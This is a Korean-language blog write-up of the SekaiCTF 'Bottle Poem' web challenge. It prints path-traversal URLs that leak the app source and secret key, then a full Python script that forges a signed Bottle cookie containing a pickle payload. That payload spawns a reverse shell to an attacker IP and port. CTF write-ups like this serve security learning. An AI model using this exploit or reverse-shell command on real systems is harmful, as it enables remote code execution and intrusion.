티스토리 뷰

보안/CTF

[SekaiCTF] [Web] Bottle Poem

돔돔이부하 2022. 10. 4. 00:19
728x90
반응형

문제 지문

Come and read poems in the bottle.

No bruteforcing is required to solve this challenge. Please do not use scanner tools. Rate limiting is applied. Flag is executable on server.

Author: bwjy

 

문제 풀이

http://bottle-poem.ctf.sekai.team/show?id=spring.txt

문제에 접속해보면 위와 같이 id 파라미터에 파일 이름을 받고 있는 것을 볼 수 있습니다. 그래서 처음에는 LFI(Local File Inclusion) 취약점인 줄 생각해서 실제 웹 서버를 구성하고 있는 파일 경로를 유추해서 탐색해보았습니다.

 

서버는 느낌상 Python 언어로 이루어져있을 것으로 보아 server.py, app.py, webserver.py 등등의 값을 입력해보았습니다.

그리고 마침 app.py에서 No!!!! 라는 문자열이 응답결과값으로 나오는 것으로 봤을 때 뭔가 필터링이 있는 것 같아 보였습니다.

http://bottle-poem.ctf.sekai.team/show?id=../app.py

해서 ./../app.py 와 같이 입력했더니 app.py의 소스코드 내용이 잘 나오는 것을 볼 수 있었습니다.

http://bottle-poem.ctf.sekai.team/show?id=./../app.py

app.py 소스코드

from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re


@route("/")
def home():
    return template("index")


@route("/show")
def index():
    response.content_type = "text/plain; charset=UTF-8"
    param = request.query.id
    if re.search("^../app", param):
        return "No!!!!"
    requested_path = os.path.join(os.getcwd() + "/poems", param)
    try:
        with open(requested_path) as f:
            tfile = f.read()
    except Exception as e:
        return "No This Poems"
    return tfile


@error(404)
def error404(error):
    return template("error")


@route("/sign")
def index():
    try:
        session = request.get_cookie("name", secret=sekai)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=sekai)
            return template("guest", name=session["name"])
        if session["name"] == "admin":
            return template("admin", name=session["name"])
    except:
        return "pls no hax"


if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8080)

그리고 config.secret으로부터 sekai 라는 변수를 불러오는 것으로 보았을 때 session 에 사용되는 secret 값을 추출할 수 있을 것으로 보였습니다.

http://bottle-poem.ctf.sekai.team/show?id=./../config/secret.py
sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"

하지만 /sign 라우팅되는 코드를 보면 session["name"] 이 admin 일 때 그냥 admin 이라는 뷰 템플릿을 렌더링해주는 것으로 끝내고 있다는 것을 알 수 있습니다.

 

bottle 웹 서버 프레임워크는 오로지 파이썬의 builtins 모듈들을 이용해서 만들어진 웹서버 프레임워크로써 템플릿의 경우 ./views 디렉터리 하위에 tpl, html, thtml, 등의 확장자로 등록하곤 합니다. 때문에 views 하위에 admin.html 파일이 있는지 확인해보았습니다.

http://bottle-poem.ctf.sekai.team/show?id=./../views/admin.html
<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<title>Sekai's boooootttttttlllllllleeeee</title>
    <script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="text-white bg-zinc-800 container px-4 mx-auto text-center h-screen box-border flex justify-center item-center flex-col">
	Hello, you are {{name}}, but it’s useless.
</body>
</html>

 

admin.html 파일에는 기대했던 것과는 다르게 Flag 값이 전혀없었습니다. 이 때문에 어마어마한 시간을 Directory Path Traversal 에 시간을 보냈고, Flag파일이 대체 어디있는거지? 라는 생각과 함께 무료한 시간을 보냈었던 기억이 있습니다..

 

나중에 문제의 지문이 업데이트 되면서, "Flag는 executable한 파일이다" 라는 힌트가 주어졌습니다. 때문에 저는 실행파일이라면 절대 일반적으로는 open 함수로 읽어올 수 없으니, 뭔가 RCE 취약점이 있을 것이라는 생각이 들었고, 그 때서야 bottle 이라는 웹 프레임워크에 대한 탐색을 시작했던 것 같습니다.

 

물론 원데이 취약점이 존재하지 않았고, 프레임워크 버전은 최신 버전이었습니다. 때문에 bottle은 특히 아까도 말했지만 Python 의 builtins 모듈들만으로 이루어진 웹 프레임워크라고 하였기에 Python이 가지고 있는 기본적인 문제점에 대해 포커스를 둘 수 있었던 것 같습니다.

 

계속 분석하다보니 bottle은 get_cookie 함수 내부에 cookie_decode 라는 함수를 호출하게 되는데 이 때 아래와 같이 pickle 모듈을 사용한다는 것을 알 수 있었습니다.

def cookie_decode(data, key):
    ''' Verify and decode an encoded string. Return an object or None.'''
    data = tob(data)
    if cookie_is_encoded(data):
        sig, msg = data.split(tob('?'), 1)
        if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
            return pickle.loads(base64.b64decode(msg))
    return None

 

때문에 secret key 값은 config.secret으로부터 얻을 수 있었으니 cookie_encode 하는 로직만 알면 해당 로직대로 임의의 Remote Code Execution 할 수 있는 쿠키세션 값을 생성할 수 있다는 결론이 납니다.

 

그리고 bottle.py 을 살펴보니 cookie_encode 함수가 있었고, 아래와 같습니다.

def cookie_encode(data, key):
    ''' Encode and sign a pickle-able object. Return a (byte) string '''
    msg = base64.b64encode(pickle.dumps(data, -1))
    sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
    return tob('!') + sig + tob('?') + msg

 

우선 LFI 취약점을 통해서 웹서버에서 사용하는 파이썬 버전이 3.8.12 라는 것을 알 수 있었고, Linux 계열 OS라는 것을 파악할 수 있었습니다. 이 두 가지 정보를 이용해서 pickle 모듈로부터 위에 나오는 cookie_encode 함수 로직대로 쿠키세션을 생성해보았습니다.

 

문제 풀이 당시에 Exploit 코드는 아래와 같습니다.

import base64
import pickle
import hmac
import hashlib

def tob(s, enc='utf8'):
    return s.encode(enc) if isinstance(s, str) else bytes(s)

class RCE(object):
    def __reduce__(self):
        import os
        return (os.system,(command,))
        
IPAddr = "1.2.3.4"
Port = 9999
command = 'python -c \'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("IPAddr",Port));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")\''
key = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"
data = RCE()
msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
payload = '"'+str(tob('!') + sig + tob('?') + msg).replace("b'", "")[:-1]+'"'
print(payload)

 

그리고 결과 값으로 나온 쿠키를 가지고서 /sign 경로에 접근해서 쿠키를 설정해주었더니 아래와 같이 쉘이 따지는 것을 볼 수 있습니다.

정말 예전에 LFI 로만 Flag를 찾는 문제가 나온 적이 있었어서, 이 문제도 그런 문제가 싶어서 엄청 찾아 해멨더니 시간만 버리고 다른 문제를 못풀게 된 케이스입니다...😥

 

문제 코드를 보면서 secret.py 가 왜 공개되어있지? 그리고 왜 bottle 프레임워크를 사용한거지? 하고 조금만 더 생각해봤더라면 이런 일이 없었을텐데 하고 아직 경험이 많이 부족하다는 것을 깨닫는 순간이라 생각합니다..ㅠ

 

- 끝 -

728x90
반응형
댓글